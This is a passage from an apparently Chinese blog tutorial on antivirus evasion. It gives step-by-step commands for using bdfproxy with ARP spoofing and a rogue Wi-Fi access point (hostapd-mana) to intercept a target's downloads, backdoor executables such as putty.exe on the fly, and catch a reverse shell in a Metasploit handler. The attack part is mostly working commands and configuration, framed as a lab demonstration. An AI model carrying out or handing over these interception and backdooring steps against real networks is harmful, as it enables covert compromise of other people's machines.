　　解决方法是直接将 "/usr/local/lib/python2.7/dist-packages/construct" 文件清空，并删掉 "/usr/local/lib/python2.7/dist-packages" 下的 construct-2.10.54.egg-info，再重新安装construct-2.5.2即可。

┌──(root㉿kali)-[/usr/…/lib/python2.7/dist-packages/construct]
└─# rm -rf *    
zsh: sure you want to delete all 12 files in /usr/local/lib/python2.7/dist-packages/construct [yn]? y

┌──(root㉿kali)-[/usr/…/lib/python2.7/dist-packages/construct]
└─# cd ..                                                                                                                         
┌──(root㉿kali)-[/usr/local/lib/python2.7/dist-packages]
└─# rm construct-2.10.54.egg-info 
…………
┌──(root㉿kali)-[~/Desktop/construct-2.5.2]
└─# python2 setup.py install
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'install_requires'
  warnings.warn(msg)
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/construct
………………

2、基于ARP欺骗

步骤【Kali2.0上演示】

#修改 IP 转发
sysctl -w net.ipv4.ip_forward=1
#修改 iptables
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
#修改配置文件
vi /etc/bdfproxy/bdfproxy.cfg
proxyMode = transparent #改为透明代理
HOST = 192.168.159.129  #修改反弹 shell 的地址（攻击者kali地址），注各种shell的地址
#启动 bdfproxy
bdfproxy
#启动 msfconsole
msfdb init #初始化
msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
msf exploit(multi/handler) > jobs
# arp 欺骗
arpspoof -i eth0 -t 192.168.159.133 192.168.159.2 #前面的IP是靶机，后面是网关
#靶机浏览器浏览和下载putty.exe，
#靶机尝试下载执行软件并打开putty
#kali里有了反弹shell
msf exploit(multi/handler) > sessions -i 1 #进入shell

　　注，靶机的相应操作都能在kali的bdfproxy页面（或日志）里看到，putty下载页面：https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.63.html

3、无线流量劫持

（1）mana 安装

方法一【推荐】：

apt-get update
apt-get --yes install build-essential pkg-config git libnl-genl-3-dev libssl-dev
cd /tmp
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
make -C hostapd
mv /tmp/hostapd-mana/hostapd/ /usr/lib/mana-toolkit
cd /usr/share/
git clone --depth 1 https://github.com/sensepost/mana.git
mv mana mana-toolkit
mkdir /etc/mana-toolkit/
mv mana-toolkit/run-mana/conf/*.conf /etc/mana-toolkit/

　　注，编译时可能会有警告，忽略即可

方法二：

git clone --depth 1 https://github.com/sensepost/mana
cd mana
git submodule init
git submodule update
make
make install

（2）演示

修改WiFi基本信息，如 SSID 名称，信道，网卡等

vim /etc/mana-toolkit/hostapd-mana.conf

#修改无线网卡适配器并启动
cd /usr/share/mana-toolkit/run-mana/ #这里有很多脚本
cp start-nat-simple.sh mana.sh #选择start-nat-simple.sh并不破坏他
vi mana.sh
phy=wlan0 #修改为插入的无线网卡名
iptables -F #清空
iptables -t nat -F
iptables -t nat -A PREROUTING -i $phy -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $phy -p tcp --dport 443 -j REDIRECT --to-ports 8080
#别的iptables都删掉
./mana.sh
#插入无线网卡
#修改 IP 转发
sysctl -w net.ipv4.ip_forward=1
#修改侦听 IP 地址并启动 bdfproxy
vi /etc/bdfproxy/bdfproxy.cfg
proxyMode = transparent
bdfproxy
#启动 msf
msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc

　　操作和ARP的差不多，，，略，，，

posted @ 2023-02-03 22:54 z9m8r8 阅读(296) 评论(0) 收藏举报

刷新页面返回顶部

z9m8r8

免杀

一、免杀简介

1、恶意软件

2、防病毒软件

3、免杀技术

4、当前现状

二、msfvenom工具

1、生成shell

2、利用模板隐藏shell

三、加密免杀

1、Hyperion （32bit PE 程序加密器）

（1）kali自带的 Hyperion【推荐】

（2）自己编译安装【不推荐】

2、安装wine

3、生成shell

4、加密shell

5、strings 对比加密前后可读字符串

6、在线病毒检测对比

四、自己编写shell【推荐】

1、Windows reverse shell 示例

2、Linux reverse shell 示例

五、Veil 免杀工具

1、安装

2、veil-evasion 生成 payload 演示

3、veil-catapult【了解，已停更】

六、修改特征码免杀

七、shellter 免杀

1、安装

2、演示

八、backdoor-factory（BDF）免杀

1、简介

2、msf 使用的 patch 方法

（1）覆盖程序入口

（2）创建新的线程执行 shellcode 并跳回原程序入口

3、CTP 方法

4、实例演示

（1）安装【基于 python2 环境】

（2）以putty为例进行注入

九、Bdfproxy 免杀

1、bdfproxy 安装

2、基于ARP欺骗

3、无线流量劫持

（1）mana 安装

（2）演示

公告